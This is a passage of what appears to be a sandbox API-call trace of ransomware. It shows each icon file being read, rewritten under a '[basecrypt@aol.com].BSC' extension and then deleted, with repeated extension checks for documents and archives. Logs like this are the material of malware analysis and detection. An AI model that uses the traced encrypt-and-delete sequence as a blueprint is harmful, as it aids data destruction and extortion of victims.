lpNumberOfBytesRead=0x2f3fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.341] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.343] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.343] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.343] SetEndOfFile (hFile=0x314) returned 1 [0103.346] CloseHandle (hObject=0x314) returned 1 [0103.347] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.347] SetEndOfFile (hFile=0x2f4) returned 1 [0103.348] CloseHandle (hObject=0x2f4) returned 1 [0103.348] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.348] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0103.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.354] lstrlenW (lpString=".doc") returned 4 [0103.354] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.354] lstrlenW (lpString=".docx") returned 5 [0103.354] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0103.354] lstrlenW (lpString=".pdf") returned 4 [0103.354] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.355] lstrlenW (lpString=".xls") returned 4 [0103.355] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.355] lstrlenW (lpString=".xlsx") returned 5 [0103.355] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0103.355] lstrlenW (lpString=".ppt") returned 4 [0103.355] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.355] lstrlenW (lpString=".zip") returned 4 [0103.355] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.355] lstrlenW (lpString=".rar") returned 4 [0103.355] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.355] lstrlenW (lpString=".bz2") returned 4 [0103.355] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.355] lstrlenW (lpString=".7z") returned 3 [0103.355] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.355] lstrlenW (lpString=".dbf") returned 4 [0103.355] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.355] lstrlenW (lpString=".1cd") returned 4 [0103.355] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.355] lstrlenW (lpString=".jpg") returned 4 [0103.355] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.356] lstrlenW (lpString=".doc") returned 4 [0103.356] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.356] lstrlenW (lpString=".docx") returned 5 [0103.356] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0103.356] lstrlenW (lpString=".pdf") returned 4 [0103.356] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.356] lstrlenW (lpString=".xls") returned 4 [0103.356] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.356] lstrlenW (lpString=".xlsx") returned 5 [0103.356] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0103.356] lstrlenW (lpString=".ppt") returned 4 [0103.356] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.356] lstrlenW (lpString=".zip") returned 4 [0103.356] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.356] lstrlenW (lpString=".rar") returned 4 [0103.356] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.356] lstrlenW (lpString=".bz2") returned 4 [0103.356] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.356] lstrlenW (lpString=".7z") returned 3 [0103.356] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.356] lstrlenW (lpString=".dbf") returned 4 [0103.356] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.357] lstrlenW (lpString=".1cd") returned 4 [0103.357] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.357] lstrlenW (lpString=".jpg") returned 4 [0103.357] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.357] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.357] lstrlenW (lpString="Setup.ico") returned 9 [0103.357] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.381] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=36710) returned 1 [0103.381] CloseHandle (hObject=0x340) returned 1 [0103.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0103.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.385] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.385] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.615] GetLastError () returned 0x0 [0103.615] ReadFile (in: hFile=0x340, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0103.721] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0103.725] ReadFile (in: hFile=0x340, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.725] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xe6, lpOverlapped=0x0) returned 1 [0103.725] SetEndOfFile (hFile=0x34c) returned 1 [0103.725] CloseHandle (hObject=0x34c) returned 1 [0103.727] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.727] SetEndOfFile (hFile=0x340) returned 1 [0103.728] CloseHandle (hObject=0x340) returned 1 [0103.729] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.729] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0103.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.729] lstrlenW (lpString=".doc") returned 4 [0103.729] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.729] lstrlenW (lpString=".docx") returned 5 [0103.729] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.730] lstrlenW (lpString=".pdf") returned 4 [0103.730] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.730] lstrlenW (lpString=".xls") returned 4 [0103.730] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.730] lstrlenW (lpString=".xlsx") returned 5 [0103.730] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.730] lstrlenW (lpString=".ppt") returned 4 [0103.730] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.730] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.730] lstrlenW (lpString=".zip") returned 4 [0103.730] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.730] lstrlenW (lpString=".rar") returned 4 [0103.730] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.730] lstrlenW (lpString=".bz2") returned 4 [0103.730] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.730] lstrlenW (lpString=".7z") returned 3 [0103.730] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.730] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.730] lstrlenW (lpString=".dbf") returned 4 [0103.730] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.730] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.730] lstrlenW (lpString=".1cd") returned 4 [0103.730] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.731] lstrlenW (lpString=".jpg") returned 4 [0103.731] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.731] lstrlenW (lpString=".doc") returned 4 [0103.731] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.731] lstrlenW (lpString=".docx") returned 5 [0103.731] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.731] lstrlenW (lpString=".pdf") returned 4 [0103.731] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.731] lstrlenW (lpString=".xls") returned 4 [0103.731] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.731] lstrlenW (lpString=".xlsx") returned 5 [0103.731] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.731] lstrlenW (lpString=".ppt") returned 4 [0103.731] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.731] lstrlenW (lpString=".zip") returned 4 [0103.731] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.732] lstrlenW (lpString=".rar") returned 4 [0103.732] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.732] lstrlenW (lpString=".bz2") returned 4 [0103.732] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.732] lstrlenW (lpString=".7z") returned 3 [0103.732] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.732] lstrlenW (lpString=".dbf") returned 4 [0103.732] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.732] lstrlenW (lpString=".1cd") returned 4 [0103.732] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.732] lstrlenW (lpString=".jpg") returned 4 [0103.732] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.733] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.733] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0103.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.733] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=1150) returned 1 [0103.733] CloseHandle (hObject=0x340) returned 1 [0103.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0103.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.734] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.734] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.734] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.734] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.734] GetLastError () returned 0x0 [0103.734] ReadFile (in: hFile=0x340, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x47e, lpOverlapped=0x0) returned 1 [0103.861] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x480, lpOverlapped=0x0) returned 1 [0103.862] ReadFile (in: hFile=0x340, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.862] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf4, lpOverlapped=0x0) returned 1 [0103.862] SetEndOfFile (hFile=0x34c) returned 1 [0103.863] CloseHandle (hObject=0x34c) returned 1 [0103.863] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.863] SetEndOfFile (hFile=0x340) returned 1 [0103.864] CloseHandle (hObject=0x340) returned 1 [0103.864] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.864] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0103.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.865] lstrlenW (lpString=".doc") returned 4 [0103.865] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.865] lstrlenW (lpString=".docx") returned 5 [0103.865] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.865] lstrlenW (lpString=".pdf") returned 4 [0103.865] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.865] lstrlenW (lpString=".xls") returned 4 [0103.865] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.865] lstrlenW (lpString=".xlsx") returned 5 [0103.865] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.865] lstrlenW (lpString=".ppt") returned 4 [0103.865] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.865] lstrlenW (lpString=".zip") returned 4 [0103.865] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.865] lstrlenW (lpString=".rar") returned 4 [0103.865] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.865] lstrlenW (lpString=".bz2") returned 4 [0103.865] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.865] lstrlenW (lpString=".7z") returned 3 [0103.865] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.865] lstrlenW (lpString=".dbf") returned 4 [0103.865] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.865] lstrlenW (lpString=".1cd") returned 4 [0103.865] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.865] lstrlenW (lpString=".jpg") returned 4 [0103.865] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.866] lstrlenW (lpString=".doc") returned 4 [0103.866] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.866] lstrlenW (lpString=".docx") returned 5 [0103.866] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.866] lstrlenW (lpString=".pdf") returned 4 [0103.866] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.866] lstrlenW (lpString=".xls") returned 4 [0103.866] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.866] lstrlenW (lpString=".xlsx") returned 5 [0103.866] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.866] lstrlenW (lpString=".ppt") returned 4 [0103.866] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.866] lstrlenW (lpString=".zip") returned 4 [0103.866] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.866] lstrlenW (lpString=".rar") returned 4 [0103.866] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.866] lstrlenW (lpString=".bz2") returned 4 [0103.866] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.866] lstrlenW (lpString=".7z") returned 3 [0103.866] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.866] lstrlenW (lpString=".dbf") returned 4 [0103.866] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.866] lstrlenW (lpString=".1cd") returned 4 [0103.866] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0103.866] lstrlenW (lpString=".jpg") returned 4 [0103.866] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.867] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.867] lstrlenW (lpString="warn.ico") returned 8 [0103.867] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.867] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=10134) returned 1 [0103.867] CloseHandle (hObject=0x340) returned 1 [0103.867] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0103.867] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.867] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.867] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.867] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.867] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.868] GetLastError () returned 0x0 [0103.868] ReadFile (in: hFile=0x340, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x2796, lpOverlapped=0x0) returned 1 [0103.926] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0103.927] ReadFile (in: hFile=0x340, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.927] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.927] SetEndOfFile (hFile=0x34c) returned 1 [0103.928] CloseHandle (hObject=0x34c) returned 1 [0103.929] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.929] SetEndOfFile (hFile=0x340) returned 1 [0103.930] CloseHandle (hObject=0x340) returned 1 [0103.930] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.930] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0103.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.930] lstrlenW (lpString=".doc") returned 4 [0103.930] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.930] lstrlenW (lpString=".docx") returned 5 [0103.931] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0103.931] lstrlenW (lpString=".pdf") returned 4 [0103.931] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.931] lstrlenW (lpString=".xls") returned 4 [0103.931] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.931] lstrlenW (lpString=".xlsx") returned 5 [0103.931] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0103.931] lstrlenW (lpString=".ppt") returned 4 [0103.931] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.931] lstrlenW 